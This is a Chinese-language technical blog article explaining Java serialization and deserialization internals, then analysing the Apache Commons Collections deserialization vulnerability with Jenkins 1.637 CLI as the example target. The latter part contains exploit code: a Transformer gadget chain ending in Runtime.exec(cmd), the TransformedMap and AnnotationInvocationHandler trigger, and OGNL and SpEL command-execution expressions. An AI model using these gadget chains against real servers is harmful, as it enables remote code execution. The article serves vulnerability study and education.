浅析Java序列化和反序列化

阅读量    37538 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

序列化机制

序列化 (Serialization) 是指将数据结构或对象状态转换成字节流 (例如存储成文件、内存缓冲,或经由网络传输) ,以留待后续在相同或另一台计算机环境中,能够恢复对象原来状态的过程。序列化机制在Java中有着广泛的应用,EJB、RMI、Hessian等技术都以此为基础。

序列化

我们先用一个简单的序列化示例来看看Java究竟是如何对一个对象进行序列化的:

public class SerializationDemo implements Serializable {
    private String stringField;
    private int intField;

    public SerializationDemo(String s, int i) {
        this.stringField = s;
        this.intField = i;
    }

    public static void main(String[] args) throws IOException {
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bout);
        out.writeObject(new SerializationDemo("gyyyy", 97777));
    }
}

如果熟悉PHP的同学应该知道,这个对象在经过PHP序列化后得到的字符串如下 (因为PHP与Java的编程习惯有所区别,这里字段访问权限全改为了publicprivateprotected从表现形式上来说差不多,只是多了些特殊的标识而已,为了减少一些零基础的同学不必要的疑惑,这里暂不讨论) :

O:17:"SerializationDemo":2:{s:11:"stringField";s:5:"gyyyy";s:8:"intField";i:97777;}

其中,O:17:"..."表示当前是一个对象,以及该对象类名的字符串长度和值,2:{...}表示该类有2个字段 (元素间用;分隔,键值对也分为前后两个元素表示,也就是说,如果是2个字段,则总共会包含4个元素) ,s:11:"..."表示当前是一个长度为11的字符串,i:...表示当前是一个整数。

由此可知,PHP序列化字符串基本上是可人读的,而且对于类对象来说,字段等成员属性的序列化顺序与定义顺序一致。我们完全可以通过手工的方式来构造任意一个PHP对象的序列化字符串。

而该对象经过Java序列化后得到的则是一个二进制串:

ac ed 00 05 73 72 00 11  53 65 72 69 61 6c 69 7a    ....sr.. Serializ
61 74 69 6f 6e 44 65 6d  6f d9 35 3c f7 d6 0a c6    ationDem o.5<....
d5 02 00 02 49 00 08 69  6e 74 46 69 65 6c 64 4c    ....I..i ntFieldL
00 0b 73 74 72 69 6e 67  46 69 65 6c 64 74 00 12    ..string Fieldt..
4c 6a 61 76 61 2f 6c 61  6e 67 2f 53 74 72 69 6e    Ljava/la ng/Strin
67 3b 78 70 00 01 7d f1  74 00 05 67 79 79 79 79    g;xp..}. t..gyyyy

仔细观察二进制串中的部分可读数据,我们也可以差不多分辨出该对象的一些基本内容。但同样为了手写的目的 (为什么有这个目的?原因很简单,为了不被语言环境束缚) ,以及为接下来的序列化执行流程分析做准备,我们先依次来解读一下这个二进制串中的各个元素。

  • 0xaced,魔术头
  • 0x0005,版本号 (JDK主流版本一致,下文如无特殊标注,都以JDK8u为例)
  • 0x73,对象类型标识 0x7n基本上都定义了类型标识符常量,但也要看出现的位置,毕竟它们都在可见字符的范围,详见java.io.ObjectStreamConstants
  • 0x72,类描述符标识
  • 0x0011...,类名字符串长度和值 (Java序列化中的UTF8格式标准)
  • 0xd9353cf7d60ac6d5,序列版本唯一标识 serialVersionUID,简称SUID)
  • 0x02,对象的序列化属性标志位,如是否是Block Data模式、自定义writeObject()SerializableExternalizableEnum类型等
  • 0x0002,类的字段个数
  • 0x49,整数类型签名的第一个字节,同理,之后的0x4c为字符串类型签名的第一个字节 (类型签名表示与JVM规范中的定义相同)
  • 0x0008...,字段名字符串长度和值,非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值,如之后的0x740012...
  • 0x78 Block Data结束标识
  • 0x70 父类描述符标识,此处为null
  • 0x00017df1 整数字段intField的值 (Java序列化中的整数格式标准) ,非原始数据类型的字段则会按对象的方式处理,如之后的字符串字段stringField被识别为字符串类型,输出字符串类型标识、字符串长度和值

由此可以看出,除了基本格式和一些整数表现形式上的不同之外,Java和PHP的序列化结果还是存在很多相似的地方,比如除了具体值外都会对类型进行描述。

需要注意的是,Java序列化中对字段进行封装时,会按原始和非原始数据类型排序 (有同学可能想问为什么要这么做,这里我只能简单解释原因有两个,一是因为它们两个的表现形式不同,原始数据类型字段可以直接通过偏移量读取固定个数的字节来赋值;二是在封装时会计算原始类型字段的偏移量和总偏移量,以及非原始类型字段的个数,这使得反序列化阶段可以很方便的把原始和非原始数据类型分成两部分来处理) ,且其中又会按字段名排序。

而开头固定的0xaced0005也可以作为Java序列化二进制串 (Base64编码为rO0AB... 的识别标识。

让我们把这个对象再改复杂些:

class SerializationSuperClass implements Serializable {
    private String superField;
}

class SerializationComponentClass implements Serializable {
    private String componentField;
}

public class SerializationDemo extends SerializationSuperClass implements Serializable {
    private SerializationComponentClass component;
    // omit
}

它序列化后的二进制串大家可以自行消化理解一下,注意其中的嵌套对象,以及0x71表示的Reference类型标识 (形式上与JVM的常量池类似,用于非原始数据类型的引用对象池索引,这个引用对象池在序列化和反序列化创建时的元素填充顺序会保持一致) :

ac ed 00 05 73 72 00 11  53 65 72 69 61 6c 69 7a    ....sr.. Serializ
61 74 69 6f 6e 44 65 6d  6f 1a 7f cd d3 53 6f 6b    ationDem o....Sok
15 02 00 03 49 00 08 69  6e 74 46 69 65 6c 64 4c    ....I..i ntFieldL
00 09 63 6f 6d 70 6f 6e  65 6e 74 74 00 1d 4c 53    ..compon entt..LS
65 72 69 61 6c 69 7a 61  74 69 6f 6e 43 6f 6d 70    erializa tionComp
6f 6e 65 6e 74 43 6c 61  73 73 3b 4c 00 0b 73 74    onentCla ss;L..st
72 69 6e 67 46 69 65 6c  64 74 00 12 4c 6a 61 76    ringFiel dt..Ljav
61 2f 6c 61 6e 67 2f 53  74 72 69 6e 67 3b 78 72    a/lang/S tring;xr
00 17 53 65 72 69 61 6c  69 7a 61 74 69 6f 6e 53    ..Serial izationS
75 70 65 72 43 6c 61 73  73 de c6 50 b7 d1 2f a3    uperClas s..P../.
27 02 00 01 4c 00 0a 73  75 70 65 72 46 69 65 6c    '...L..s uperFiel
64 71 00 7e 00 02 78 70  70 00 01 7d f1 73 72 00    dq.~..xp p..}.sr.
1b 53 65 72 69 61 6c 69  7a 61 74 69 6f 6e 43 6f    .Seriali zationCo
6d 70 6f 6e 65 6e 74 43  6c 61 73 73 3c 76 ba b7    mponentC lass<v..
dd 9e 76 c4 02 00 01 4c  00 0e 63 6f 6d 70 6f 6e    ..v....L ..compon
65 6e 74 46 69 65 6c 64  71 00 7e 00 02 78 70 70    entField q.~..xpp
74 00 05 67 79 79 79 79                             t..gyyyy

简单的分析一下序列化的执行流程:

  1. ObjectOutputStream实例初始化时,将魔术头和版本号写入bout BlockDataOutputStream类型) 中
  2. 调用ObjectOutputStream.writeObject()开始写对象数据
    • ObjectStreamClass.lookup()封装待序列化的类描述 (返回ObjectStreamClass类型) ,获取包括类名、自定义serialVersionUID、可序列化字段 (返回ObjectStreamField类型) 和构造方法,以及writeObjectreadObject方法等
    • writeOrdinaryObject()写入对象数据
      • 写入对象类型标识
      • writeClassDesc()进入分支writeNonProxyDesc()写入类描述数据
        • 写入类描述符标识
        • 写入类名
        • 写入SUID (当SUID为空时,会进行计算并赋值,细节见下面关于SerialVersionUID章节)
        • 计算并写入序列化属性标志位
        • 写入字段信息数据
        • 写入Block Data结束标识
        • 写入父类描述数据
      • writeSerialData()写入对象的序列化数据
        • 若类自定义了writeObject(),则调用该方法写对象,否则调用defaultWriteFields()写入对象的字段数据 (若是非原始类型,则递归处理子对象)

反序列化

继续用简单的示例来看看反序列化:

public static void main(String[] args) throws ClassNotFoundException {
    byte[] data; // read from file or request
    ByteArrayInputStream bin = new ByteArrayInputStream(data);
    ObjectInputStream in = new ObjectInputStream(bin);
    SerializationDemo demo = (SerializationDemo) in.readObject();
}

它的执行流程如下:

  1. ObjectInputStream实例初始化时,读取魔术头和版本号进行校验
  2. 调用ObjectInputStream.readObject()开始读对象数据
    • 读取对象类型标识
    • readOrdinaryObject()读取数据对象
      • readClassDesc()读取类描述数据
        • 读取类描述符标识,进入分支readNonProxyDesc()
        • 读取类名
        • 读取SUID
        • 读取并分解序列化属性标志位
        • 读取字段信息数据
        • resolveClass()根据类名获取待反序列化的类的Class对象,如果获取失败,则抛出ClassNotFoundException
        • skipCustomData()循环读取字节直到Block Data结束标识为止
        • 读取父类描述数据
        • initNonProxy()中判断对象与本地对象的SUID和类名 (不含包名) 是否相同,若不同,则抛出InvalidClassException
      • ObjectStreamClass.newInstance()获取并调用离对象最近的非Serializable的父类的无参构造方法 (若不存在,则返回null 创建对象实例
      • readSerialData()读取对象的序列化数据
        • 若类自定义了readObject(),则调用该方法读对象,否则调用defaultReadFields()读取并填充对象的字段数据

关于SerialVersionUID

在Java的序列化机制中,SUID占据着很重要的位置,它相当于一个对象的指纹信息,可以直接决定反序列化的成功与否,通过上面对序列化和反序列化流程的分析也可以看出来,若SUID不一致,是无法反序列化成功的。

但是,SUID到底是如何生成的,它的指纹信息维度包括对象的哪些内容,可能还是有很多同学不太清楚。这里我们对照官方文档的说明,结合JDK的源代码来为大家简单的梳理一下。

首先ObjectStreamClass.getSerialVersionUID()在获取SUID时,会判断SUID是否已经存在,若不存在才调用computeDefaultSUID()计算默认的SUID:

public long getSerialVersionUID() {
    if (suid == null) {
        suid = AccessController.doPrivileged(
            new PrivilegedAction<Long>() {
                public Long run() {
                    return computeDefaultSUID(cl);
                }
            }
        );
    }
    return suid.longValue();
}

先顺带提一嘴,AccessController.doPrivileged()会忽略JRE配置的安全策略的检查,以特权的身份去执行PrivilegedAction接口中的run(),可以防止JDK底层在进行序列化和反序列化时可能出现的一些权限问题。这些内容与本文主题无关,不多作详细解释,感兴趣的同学可以去看看Java的Security包和其中的java.policy、java.security文件内容。

重点来了,计算SUID时,会先创建一个DataOutputStream对象,所有二进制数据写入其包装的ByteArrayOutputStream中:

  1. 写入类名 (UTF8)
    dout.writeUTF(cl.getName());
  2. 写入类访问权限标识
    int classMods = cl.getModifiers() &
        (Modifier.PUBLIC | Modifier.FINAL |
            Modifier.INTERFACE | Modifier.ABSTRACT);
    
    Method[] methods = cl.getDeclaredMethods();
    if ((classMods & Modifier.INTERFACE) != 0) {
        classMods = (methods.length > 0) ?
            (classMods | Modifier.ABSTRACT) :
            (classMods & ~Modifier.ABSTRACT);
    }
    dout.writeInt(classMods);
  3. 如果不是数组类型,写入实现接口的接口名,按接口名排序
    if (!cl.isArray()) {
        Class<?>[] interfaces = cl.getInterfaces();
        String[] ifaceNames = new String[interfaces.length];
        for (int i = 0; i < interfaces.length; i++) {
            ifaceNames[i] = interfaces[i].getName();
        }
        Arrays.sort(ifaceNames);
        for (int i = 0; i < ifaceNames.length; i++) {
            dout.writeUTF(ifaceNames[i]);
        }
    }
  4. 写入非私有静态或瞬态字段信息数据,包括字段名、字段访问权限标识和字段签名,按字段名排序
    Field[] fields = cl.getDeclaredFields();
    MemberSignature[] fieldSigs = new MemberSignature[fields.length];
    for (int i = 0; i < fields.length; i++) {
        fieldSigs[i] = new MemberSignature(fields[i]);
    }
    Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {
        public int compare(MemberSignature ms1, MemberSignature ms2) {
            return ms1.name.compareTo(ms2.name);
        }
    });
    for (int i = 0; i < fieldSigs.length; i++) {
        MemberSignature sig = fieldSigs[i];
        int mods = sig.member.getModifiers() &
            (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
                Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |
                Modifier.TRANSIENT);
        if (((mods & Modifier.PRIVATE) == 0) ||
            ((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0))
        {
            dout.writeUTF(sig.name);
            dout.writeInt(mods);
            dout.writeUTF(sig.signature);
        }
    }
  5. 如果存在类初始化器 (不是类实例化的构造方法,感兴趣的同学可以去看看JVM规范中的相关内容) ,写入固定的初始化器信息数据
    if (hasStaticInitializer(cl)) {
        dout.writeUTF("<clinit>");
        dout.writeInt(Modifier.STATIC);
        dout.writeUTF("()V");
    }
  6. 写入非私有构造方法信息数据,包括方法名 (固定为<init> 、方法访问权限标识和方法签名 (分隔符/会替换成.的包名形式) ,按方法签名排序
    Constructor<?>[] cons = cl.getDeclaredConstructors();
    MemberSignature[] consSigs = new MemberSignature[cons.length];
    for (int i = 0; i < cons.length; i++) {
        consSigs[i] = new MemberSignature(cons[i]);
    }
    Arrays.sort(consSigs, new Comparator<MemberSignature>() {
        public int compare(MemberSignature ms1, MemberSignature ms2) {
            return ms1.signature.compareTo(ms2.signature);
        }
    });
    for (int i = 0; i < consSigs.length; i++) {
        MemberSignature sig = consSigs[i];
        int mods = sig.member.getModifiers() &
            (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
                Modifier.STATIC | Modifier.FINAL |
                Modifier.SYNCHRONIZED | Modifier.NATIVE |
                Modifier.ABSTRACT | Modifier.STRICT);
        if ((mods & Modifier.PRIVATE) == 0) {
            dout.writeUTF("<init>");
            dout.writeInt(mods);
            dout.writeUTF(sig.signature.replace('/', '.'));
        }
    }
  7. 写入非私有方法,包括方法名、方法访问权限标识和方法签名,按方法名和方法签名排序
    MemberSignature[] methSigs = new MemberSignature[methods.length];
    for (int i = 0; i < methods.length; i++) {
        methSigs[i] = new MemberSignature(methods[i]);
    }
    Arrays.sort(methSigs, new Comparator<MemberSignature>() {
        public int compare(MemberSignature ms1, MemberSignature ms2) {
            int comp = ms1.name.compareTo(ms2.name);
            if (comp == 0) {
                comp = ms1.signature.compareTo(ms2.signature);
            }
            return comp;
        }
    });
    for (int i = 0; i < methSigs.length; i++) {
        MemberSignature sig = methSigs[i];
        int mods = sig.member.getModifiers() &
            (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
                Modifier.STATIC | Modifier.FINAL |
                Modifier.SYNCHRONIZED | Modifier.NATIVE |
                Modifier.ABSTRACT | Modifier.STRICT);
        if ((mods & Modifier.PRIVATE) == 0) {
            dout.writeUTF(sig.name);
            dout.writeInt(mods);
            dout.writeUTF(sig.signature.replace('/', '.'));
        }
    }

以上就是SUID中包含的类的所有信息,得到的二进制串如下:

00 11 53 65 72 69 61 6c  69 7a 61 74 69 6f 6e 44    ..Serial izationD
65 6d 6f 00 00 00 01 00  14 6a 61 76 61 2e 69 6f    emo..... .java.io
2e 53 65 72 69 61 6c 69  7a 61 62 6c 65 00 08 69    .Seriali zable..i
6e 74 46 69 65 6c 64 00  00 00 02 00 01 49 00 0b    ntField. .....I..
73 74 72 69 6e 67 46 69  65 6c 64 00 00 00 02 00    stringFi eld.....
12 4c 6a 61 76 61 2f 6c  61 6e 67 2f 53 74 72 69    .Ljava/l ang/Stri
6e 67 3b 00 06 3c 69 6e  69 74 3e 00 00 00 01 00    ng;..<in it>.....
16 28 4c 6a 61 76 61 2e  6c 61 6e 67 2e 53 74 72    .(Ljava. lang.Str
69 6e 67 3b 49 29 56 00  04 6d 61 69 6e 00 00 00    ing;I)V. .main...
09 00 16 28 5b 4c 6a 61  76 61 2e 6c 61 6e 67 2e    ...([Lja va.lang.
53 74 72 69 6e 67 3b 29  56                         String;)V

最后,将二进制数据通过SHA1算法得到摘要,取前8位按BigEndian的字节顺序转换成长整型:

long hash = 0;
for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {
    hash = (hash << 8) | (hashBytes[i] & 0xFF);
}

返回的hash就是最终的SUID了。

由此可知,当父类或非原始数据类型字段的类内部发生变更时,并不会影响当前类的SUID值,再结合之前的内容我们还可以引申出两个结论:

  1. 若当前类自定义了readObject(),在反序列化时会正常执行readObject()中所有ObjectInputStream.defaultReadObject() (如果调用了的话) 之前的逻辑;否则在处理到变更对象时,仍会抛出InvalidClassException
  2. 由于序列化会对类的字段进行排序,并在反序列化时按顺序遍历处理,所以反序列化会正常处理字段名比变更对象类型字段『小』的其他字段

关于writeReplace()readResolve()

在前面的执行流程分析中,为了突出主要逻辑,我们主观的忽略了一些内容,其中就包括了序列化的invokeWriteReplace()和反序列化的invokeReadResolve()

现在就来看看它们分别有什么作用:

  • writeReplace()

    返回一个对象,该对象为实际被序列化的对象,在原对象序列化之前被调用,替换原对象成为待序列化对象

  • readResolve()

    返回一个对象,该对象为实际反序列化的结果对象,在原对象反序列化之后被调用,不影响原对象的反序列化过程,仅替换结果

再从具体示例来体会一下:

public class SerializationReplacementClass implements Serializable {
    protected String replacementField;

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
    }

    private Object readResolve() {
        return new SerializationReplacementClass("resolve");
    }

    private SerializationReplacementClass(String s) {
        this.replacementField = s;
    }

    public SerializationReplacementClass() {
        this.replacementField = "replace";
    }
}

public class SerializationDemo implements Serializable {
    // omit
    private Object writeReplace() {
        return new SerializationReplacementClass();
    }
    // omit

    public static void main(String[] args) throws ClassNotFoundException {
        // omit
        SerializationReplacementClass demo = (SerializationReplacementClass) in.readObject();
    }
}

从序列化之后得到的二进制串中可以看到目标对象已经被替换成了SerializationReplacementClass

ac ed 00 05 73 72 00 1d  53 65 72 69 61 6c 69 7a    ....sr.. Serializ
61 74 69 6f 6e 52 65 70  6c 61 63 65 6d 65 6e 74    ationRep lacement
43 6c 61 73 73 32 71 ac  e9 c1 d3 0b 7b 02 00 01    Class2q. ....{...
4c 00 10 72 65 70 6c 61  63 65 6d 65 6e 74 46 69    L..repla cementFi
65 6c 64 74 00 12 4c 6a  61 76 61 2f 6c 61 6e 67    eldt..Lj ava/lang
2f 53 74 72 69 6e 67 3b  78 70 74 00 07 72 65 70    /String; xpt..rep
6c 61 63 65                                         lace

而在反序列化之后得到的对象的replacementField字段值则为resolve,但在此之前readObject()也会被正常调用,当时replacementField字段值为replace

关于Externalizable

Serializable接口还有一个比较常见的子类Externalizable,它比它爸爸特殊的地方就在于它需要自己实现读写方法 readExternal()writeExternal() ,同时必须包含一个自己的无参构造方法 (默认隐式的也可以) 。

仍以示例说话:

public class ExternalizationDemo implements Externalizable {
    private String stringField;
    private int intField;

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
        out.writeUTF(this.stringField);
        out.writeInt(this.intField);
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException {
        this.stringField = "hello, i'm " + in.readUTF();
        this.intField = in.readInt() + 100000;
    }

    public ExternalizationDemo(String s, int i) {
        this.stringField = s;
        this.intField = i;
    }

    public ExternalizationDemo() {}
}

序列化之后得到的二进制串如下:

ac ed 00 05 73 72 00 13  45 78 74 65 72 6e 61 6c    ....sr.. External
69 7a 61 74 69 6f 6e 44  65 6d 6f d9 a9 04 75 84    izationD emo...u.
5d 06 8f 0c 00 00 78 70  77 0b 00 05 67 79 79 79    ].....xp w...gyyy
79 00 01 7d f1 78                                   y..}.x

Serializable的区别:

  • 对象的序列化属性标志位为0x0c,包括Serializable和Block Data的标志
  • 序列化类的字段个数固定为0
  • 序列化调用writeExternalData()转给类自定义的写方法,将写入的数据包装在新的Block Data块中,第一个字节为块长度 (不含块头尾标识)
  • 反序列化调用readExternalData()转给类自定义的读方法,再调用对象的无参构造方法 (若不存在,则返回null 进行实例化

 

反序列化漏洞

通过以上对Java的序列化机制的大致了解,我们可以想象一个场景 (有基础的同学可以跳过本部分内容,当然,看一看也没坏处) :

当服务端允许接收远端数据进行反序列化时,客户端可以提供任意一个服务端存在的对象 (包括依赖包中的对象) 的序列化二进制串,由服务端反序列化成相应对象。如果该对象是由攻击者『精心构造』的恶意对象,而它自定义的readObject()中存在着一些『不安全』的逻辑,那么在对它反序列化时就有可能出现安全问题。

说到这,我提三个问题,请大家跟着我的思路去分析,先来看看第一个:

  1. 为什么需要依赖反序列化对象的自定义readObject()

大家都知道,正常来说,反序列化只是一个对象实例化然后赋值的过程,如果之后不主动调用它的内部方法,理论上最多只能控制它字段的值而已。那么有没有什么办法能够让它执行反序列化以外的逻辑呢?毕竟做的越多中间产生问题的概率就越大。

我们还是先以大家更熟悉的PHP来举个例。在PHP内部,保留了十多个被称为魔术方法的类方法,这些魔术方法一般会伴随着类的生命周期被PHP底层自动调用,用户可以在类中显式定义它们的逻辑。

就拿与反序列化关系最密切的__wakeup()来说,我们回到最初的那个类SerializationDemo,给它加一点东西:

class SerializationDemo {
    public function __wakeup() {
        echo $this->stringField;
    }
}

在反序列化SerializationDemo这个对象时,就会调用__wakeup()执行里面的逻辑。示例中的逻辑只是输出一个字符串,如果改成exec($this->stringField);呢?

实际当然不会这么简单,有可能它是把自己的字段作为值作为参数调用了某个类的方法,而那个方法里对参数做了某些不安全的操作,甚至有可能经过多个类多个方法调用,形成一个调用链。

这就是默认的反序列化逻辑的一个逃逸过程。

到这里你可能已经想到了,Java反序列化中readObject()的作用其实就相当于PHP反序列化中的那些魔术方法,使反序列化过程在一定程度上受控成为可能,但也只是可能而已,是否真的可控,还是需要分析每个对象的readObject()具体是如何实现的 (别急,后面有章节会有详细介绍) 。

接着看第二个问题:

  1. 反序列化对象的非Serializable父类无参构造方法是否能像PHP中的__construct()一样被利用?

答案应该是不行的。因为前面已经提到过,我们只能够控制反序列化对象的字段值,而Java与PHP不同的是,JDK底层会先调用无参构造方法实例化,再读取序列化的字段数据赋值,所以我们没有办法将可控的字段值在实例化阶段传入构造方法中对其内部逻辑产生影响。

最后一个:

  1. readResolve()对反序列化漏洞有什么影响?

readResolve()只是替换反序列化结果对象,若是结果对象本身存在安全问题,它有可能让问题中断;若是readObject()存在安全问题,它无法避免。

经典的Apache Commons Collections

好,有了上面的基础,我们也照一回惯例,带大家一起分析一下Java历史上最出名也是最具代表性的Apache Commons Collections反序列化漏洞。

网上很多文章都是以WebLogic为漏洞环境,我们尊重开源,围绕1.637版本的Jenkins来开个头,先简单看看它的Cli组件的反序列化场景 (这里只以CLI-connect协议为例,CLI2-connect会多出来一个SSL加解密的过程,这也是很多公开PoC在模拟Cli握手时选择CLI-connect协议的原因) :

  1. 客户端向发送一个UTF8字符串Protocol:CLI-connect,前两位为字符串长度
  2. 服务端TcpSlaveAgentListener在接收到数据之后,会创建一个ConnectionHandler对象读取一个UTF8字符串,判断协议版本,交给对应的协议进行处理
    • CliProtocol响应Welcome字符串,由ChannelBuilder为两端创建一个包含了Connection对象 (IO流对象在里面)Channel通信通道,并调用negotiate()进行交互
      • Capability.writePreamble()响应序列化后的Capability对象,其中使用Mode.TEXT.wrap()将输出流包装为BinarySafeStream,它会在写时进行Base64编码
      • 由于ChannelBuilder在build之前,调用了withMode()设置modeMode.BINARY,因此还会响应一个0x00000000
      • 等待接收后续数据,判断数据内容前缀为Capability.PREAMBLE <===[JENKINS REMOTING CAPACITY]===> 时,将InputStream传给Capability.read()
        • Capability同样会对输入流做一次BinarySafeStream包装,保证在读数据时解码得到原始二进制数据,再扔给输入流的readObject()继续读

回看Connection中自定义的readObject(),是一个普普通通的ObjectInputStream反序列化:

public <T> T readObject() throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(in);
    return (T)ois.readObject();
}

现在我们假设已知1.637版本的Jenkins引用了存在反序列化漏洞的Commons Collections的版本的Jar包,那么只需要利用它构造一个恶意对象的序列化串,在与Jenkins Cli完成握手之后,将其Base64编码后的字符串发送过去就行了 (当然,千万别忘了前面那串酷酷的前缀) 。

Payload构造

好的,现在让我们聚焦到Commons Collections内部,看看前辈们是如何利用它来让应用『产生』问题的。

我们先预备一个基本知识,在Java中,若想通过其原生JDK提供的接口执行系统命令,最常见的语句如下:

Runtime rt = Runtime.getRuntime();
rt.exec(cmd);

很简单,一个单例模式的方法获取到Runtime的实例,再调用它的exec()执行命令。在表达式注入类RCE漏洞中也可以频繁看到利用各种条件特性来构造这段语句的身影,比如Struts2的OGNL:

@java.lang.Runtime@getRuntime().exec(cmd)

又比如Spring的SpEL:

T(java.lang.Runtime).getRuntime().exec(cmd)

这里替小白问个基础但又和接下来的内容有关的问题:为什么都要使用链式结构?

原因其实很简单,因为无论是表达式解析执行还是反序列化时,底层通过反射技术获取对象调用函数都会存在一个上下文环境,使用链式结构的语句可以保证执行过程中这个上下文是一致的。你也可以换个方式问自己,如果你第一次请求Runtime.getRuntime(),那如何保证第二次请求rt.exec()能够拿到第一次的Runtime对象呢?

了解了这个问题之后,我们就可以开始尝试用Commons Collections先来构造这个链式结构了。

前辈们为我们在Commons Collections中找到了一个用于对象之间转换的Transformer接口,它有几个我们用得着的实现类:

  1. ConstantTransformer
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }
  2. InvokerTransformer
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    
    public Object transform(Object input) {
        // omit
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
        // omit
    }
  3. ChainedTransformer
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

利用这几个对象,可以构造出下面这条链:

Transformer[] trans = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
Transformer chain = new ChainedTransformer(trans);

其中,数组的中间两个元素是最让人费解的,我们一句一句来解释 (前方高能预警,请对照上面几个Transformer的逻辑仔细看,接下来的内容网上有些解释是存在出入的) :

  1. 构造一个ConstantTransformer,把RuntimeClass对象传进去,在transform()时,始终会返回这个对象
  2. 构造一个InvokerTransformer,待调用方法名为getMethod,参数为getRuntime,在transform()时,传入1的结果,此时的input应该是java.lang.Runtime,但经过getClass()之后,clsjava.lang.Class,之后getMethod()只能获取java.lang.Class的方法,因此才会定义的待调用方法名为getMethod,然后其参数才是getRuntime,它得到的是getMethod这个方法的Method对象,invoke()调用这个方法,最终得到的才是getRuntime这个方法的Method对象
  3. 构造一个InvokerTransformer,待调用方法名为invoke,参数为空,在transform()时,传入2的结果,同理,cls将会是java.lang.reflect.Method,再获取并调用它的invoke方法,实际上是调用上面的getRuntime()拿到Runtime对象
  4. 构造一个InvokerTransformer,待调用方法名为exec,参数为命令字符串,在transform()时,传入3的结果,获取java.lang.Runtimeexec方法并传参调用
  5. 最后把它们组装成一个数组全部放进ChainedTransformer中,在transform()时,会将前一个元素的返回结果作为下一个的参数,刚好满足需求

既然第2、3步这么绕,我们又知道了为什么,是不是可以考虑用下面这种逻辑更清晰的方式来构造呢:

Transformer[] trans = new Transformer[] {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("getRuntime", new Class[0], new Object[0]),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};

答案是不行的。虽然单看整个链,无论是定义还是执行都是没有任何问题的,但是在后续序列化时,由于Runtime.getRuntime()得到的是一个对象,这个对象也需要参与序列化过程,而Runtime本身是没有实现Serializable接口的,所以会导致序列化失败。

也有同学可能看过ysoserial构造的Payload,它的习惯是先定义一个包含『无效』TransformerChainedTransformer,等所有对象装填完毕之后再利用反射将实际的数组放进去。这么做的原因作者也在一个Issue中给了解释,我们直接看原文:

Generally any reflection at the end of gadget-chain set up is done to “arm” the chain because constructing it while armed can result in premature “detonation” during set-up and cause it to be inert when serialized and deserialized by the target application.

现在,有了这条Transformer链,就等着谁来执行它的transform()了。

网上流传的示例很多都是使用一个名为TransformedMap的装饰器来触发transform(),它在装饰时会传入原始Map、一个键转换器Transformer和一个值转换器Transformer,而它的父类在内部实现了一个AbstractMapEntryDecorator的子类,会在setValue()前调用checkSetValue()进行检查,而TransformedMap.checkSetValue()会调用它的值转换器的transform(),因此装饰任意一个有元素的Map就可以满足需求:

Map m = TransformedMap.decorate(new HashMap(){{ put("value", "anything"); }}, null, chain);

这时,我们只需要再找一个包含可控Map字段,并会在反序列化时对这个Map进行setValue()get()操作的公共对象。

幸运的是,前辈们在JDK较早的版本中发现了AnnotationInvocationHandler这个对象 (较新版本的JDK可以使用BadAttributeValueExpException,在这里就不展开了) ,它在初始化时可以传入一个Map类型参数赋值给字段memberValuesreadObject()过程中如果满足一定条件就会对memberValues中的元素进行setValue()

private void readObject(java.io.ObjectInputStream s)
    s.defaultReadObject();

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                    value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

可以看到,在遍历memberValues.entrySet()时,会用键名在memberTypes中尝试获取一个Class,并判断它是否为null,这就是刚才说的需要满足的条件。接下来是网上很少提到过的一个结论:

首先,memberTypesAnnotationType的一个字段,里面存储着Annotation接口声明的方法信息 (键名为方法名,值为方法返回类型) 。因此,我们在获取AnnotationInvocationHandler实例时,需要传入一个方法个数大于0的Annotation子类 (一般来说,若方法个数大于0,都会包含一个名为value的方法) ,并且原始Map中必须存在任意以这些方法名为键名的元素,才能顺利进入setValue()的流程:

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructors()[0];
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, m);

